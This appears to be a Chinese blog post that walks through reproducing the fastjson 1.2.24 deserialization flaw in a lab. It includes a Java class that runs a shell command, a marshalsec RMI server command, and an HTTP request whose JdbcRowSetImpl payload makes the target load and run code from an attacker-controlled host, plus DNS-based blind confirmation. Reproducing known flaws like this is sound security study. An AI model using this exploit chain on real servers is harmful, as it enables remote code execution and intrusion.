fastjson 1.2.24反序列化漏洞复现

简介

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。
在Java 8u102环境下,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

环境

  1. 靶机:http://192.168.3.105:8090,使用docker起的靶机:
    在这里插入图片描述

  2. 攻击者站点:http://192.168.3.105:8080,这里用的是tomcat(nginx或其他亦可),同样使用docker起,如上图:

  3. 攻击者RMI服务器:rmi://192.168.3.102:6666

注意:攻击者有两个服务端需要准备,分别是存放攻击代码的http://192.168.3.105:8080和rmi://192.168.3.102:6666

思路

攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址(http://192.168.3.105:8080)加载Factory类,不受 java.rmi.server.useCodebaseOnly 系统属性的限制,所以更加通用。

但是由于JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 默认为false,即默认不允许从远程的Codebase加载Reference的工厂类(Factory Class)。
因此本文复现,基于Java 8u102环境,没有com.sun.jndi.rmi.object.trustURLCodebase的限制

漏洞复现

  1. 192.168.3.105:8080站点准备
  2. 在idea中编译以下代码,生成TouchFile.class文件,文件代码很简单,就是为了在/tmp目录下生成success文件:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在这里插入图片描述

  1. 通过docker起个tomcat,在tomcat的web目录/usr/local/tomcat/webapps/ROOT/下,放入刚刚编译好的TouchFile.class文件
    在这里插入图片描述

RMI服务器准备

(1)从https://github.com/mbechler/marshalsec 下载源码,进入marshalsec 目录,使用mvn clean package -DskipTests命令编译出marshalsec的jar包:
在这里插入图片描述
(2)进入上图marshalsec-0.0.3-SNAPSHOT.jar所在文件夹,执行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.3.105:8080/#TouchFile" 6666
其中192.168.3.105:8080指向的就是放了恶意class的tomcat站点,#TouchFile指定是远程TouchFile类,最后的6666代表RMI服务监听的端口
在这里插入图片描述

攻击请求包构造

  1. 开bp截包,dataSourceName对应的值中指定指明rmi服务器的地址,其中Content-Type: application/json别忘了,靶机回500:
POST / HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Host: 192.168.3.105:8080
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.3.102:6666/TouchFile",
        "autoCommit":true
    }
}

在这里插入图片描述

  1. rmi服务器可以看到成功收到请求,并请求http://192.168.3.105:8080/TouchFile.class:
    在这里插入图片描述
  2. tomcat日志中也可以看到请求成功:
    在这里插入图片描述
  3. /tmp目录下成功生成success文件
    在这里插入图片描述

通过DNS拿回显

在实际情况下,因为不可能会有受害机权限,往往不会通过创建文件方式来证明漏洞存在。一般常用方法是通过DNS拿回显。

  1. 命令直接换成ping
    在这里插入图片描述
  2. 同样jndi服务指向也要改下,对应tomcat的Dns.class记得放到对应目录下
    在这里插入图片描述
  3. dns回显成功拿到
    在这里插入图片描述

解决方案

将fastjson升级到最新版本

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
根据提供的引用内容,fastjson反序列化漏洞是一种安全漏洞,攻击者可以利用该漏洞在目标系统上执行恶意代码。下面是fastjson反序列化漏洞复现过程[^1][^2]: 1. 判断是否使用Fastjson以及Fastjson版本:首先需要确定目标系统是否使用了Fastjson,并且确定Fastjson的版本号。可以通过查看项目的依赖文件或者代码中的导入语句来确定。 2. 漏洞复现:根据Fastjson的版本号选择相应的漏洞复现方法。 - Fastjson<1.2.24远程代码执行(CNVD-2017-02833):该漏洞可以通过构造恶意的JSON字符串来触发远程代码执行。攻击者可以在JSON字符串中插入恶意的Java代码,并通过反序列化操作执行该代码。 - Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238):该漏洞可以通过构造恶意的JSON字符串来触发远程代码执行。攻击者可以在JSON字符串中使用特殊的反射调用方式来执行恶意代码。 3. 防范措施:为了防止fastjson反序列化漏洞的利用,可以采取以下措施: - 及时升级Fastjson版本:Fastjson团队会及时修复漏洞并发布新版本,及时升级到最新版本可以避免被已知漏洞攻击。 - 输入验证和过滤:在接收用户输入并进行反序列化操作之前,对输入进行严格的验证和过滤,确保输入的数据符合预期的格式和内容。 - 使用安全的JSON库:考虑使用其他安全性更高的JSON库,如Jackson或Gson,来替代Fastjson
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值